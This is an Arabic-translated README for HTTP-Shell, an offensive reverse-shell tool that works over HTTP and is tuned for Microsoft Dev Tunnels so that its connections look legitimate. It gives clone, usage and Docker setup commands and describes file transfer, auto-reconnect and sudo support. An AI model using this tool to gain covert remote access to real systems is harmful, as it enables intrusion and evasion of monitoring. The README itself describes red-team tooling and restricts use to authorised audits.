joelgmsec/http-shellقشرة عكسية HTTP متعددة المنصات توفر واجهة تشبه القشرة عبر HTTP، مع رفع/تنزيل الملفات، سجل الأوامر، إعادة الاتصال التلقائي، ودعم sudo، مصممة للاستخدام مع Microsoft Dev Tunnels.
HTTP-Shell هي صدفة عكسية متعددة المنصات. تساعدك هذه الأداة في الحصول على واجهة تشبه الصدفة عبر اتصال عكسي عبر HTTP. على عكس الصدف العكسية الأخرى، الهدف الرئيسي للأداة هو استخدامها مع Microsoft Dev Tunnels، للحصول على اتصال أقرب ما يمكن إلى اتصال شرعي.
هذه الصدفة ليست تفاعلية بالكامل، ولكنها تعرض أي أخطاء على الشاشة (سواء على Windows أو Linux)، وهي قادرة على رفع وتنزيل الملفات، وتحتوي على سجل الأوامر، وتنظيف الطرفية (حتى مع CTRL+L)، وإعادة الاتصال التلقائي، والتنقل بين الدلائل، وتدعم sudo (أو sudo su) على أنظمة التشغيل المبنية على Linux.
يوصى باستنساخ المستودع الكامل أو تنزيل ملف zip. يمكنك القيام بذلك عن طريق تشغيل الأمر التالي:
git clone https://github.com/JoelGMSec/HTTP-Shell
# Server
_ _ _____ _____ ____ ____ _ _ _
| | | |_ _|_ _| _ \ / ___|| |__ ___| | |
| |_| | | | | | | |_) |___\___ \| "_ \ / _ \ | |
| _ | | | | | | __/_____|__) | | | | __/ | |
|_| |_| |_| |_| |_| |____/|_| |_|\___|_|_|
---------------- by @JoelGMSec -----------------
[!] Usage: HTTP-Server.py [PORT]
# Linux CLI
[!] Usage: ./HTTP-Client.sh -c [HOST:PORT] -s [SLEEP] (optional)
# Windows CLI
[!] Usage: .\HTTP-Client.ps1 -c [HOST:PORT] -s [SLEEP] (optional)
إذا كنت ترغب في تشغيل الخادم في حاوية Docker:
docker build -t http-shell https://github.com/JoelGMSec/HTTP-Shell.git#main
docker run -it --rm -p 8080:8080 --name http-shell http-shell
https://darkbyte.net/obteniendo-shells-con-microsoft-dev-tunnels
هذا المشروع مرخص بموجب رخصة GNU 3.0 - راجع ملف LICENSE لمزيد من التفاصيل.
الفكرة الأصلية وبعض الكود بواسطة Héctor de Armas Padrón (@3v4si0n)
تم إنشاء هذه الأداة وتصميمها من الصفر بواسطة Joel Gámez Molina (@JoelGMSec).
لا يقدم هذا البرنامج أي نوع من الضمان. استخدامه حصري للبيئات التعليمية و/أو تدقيقات الأمان بموافقة العميل المقابلة. لست مسؤولاً عن إساءة استخدامه أو عن أي ضرر محتمل ناتج عنه.
لمزيد من المعلومات، يمكنك العثور علي على Twitter كـ @JoelGMSec وعلى مدونتي darkbyte.net.
يمكنك دعم عملي بشراء قهوة لي:
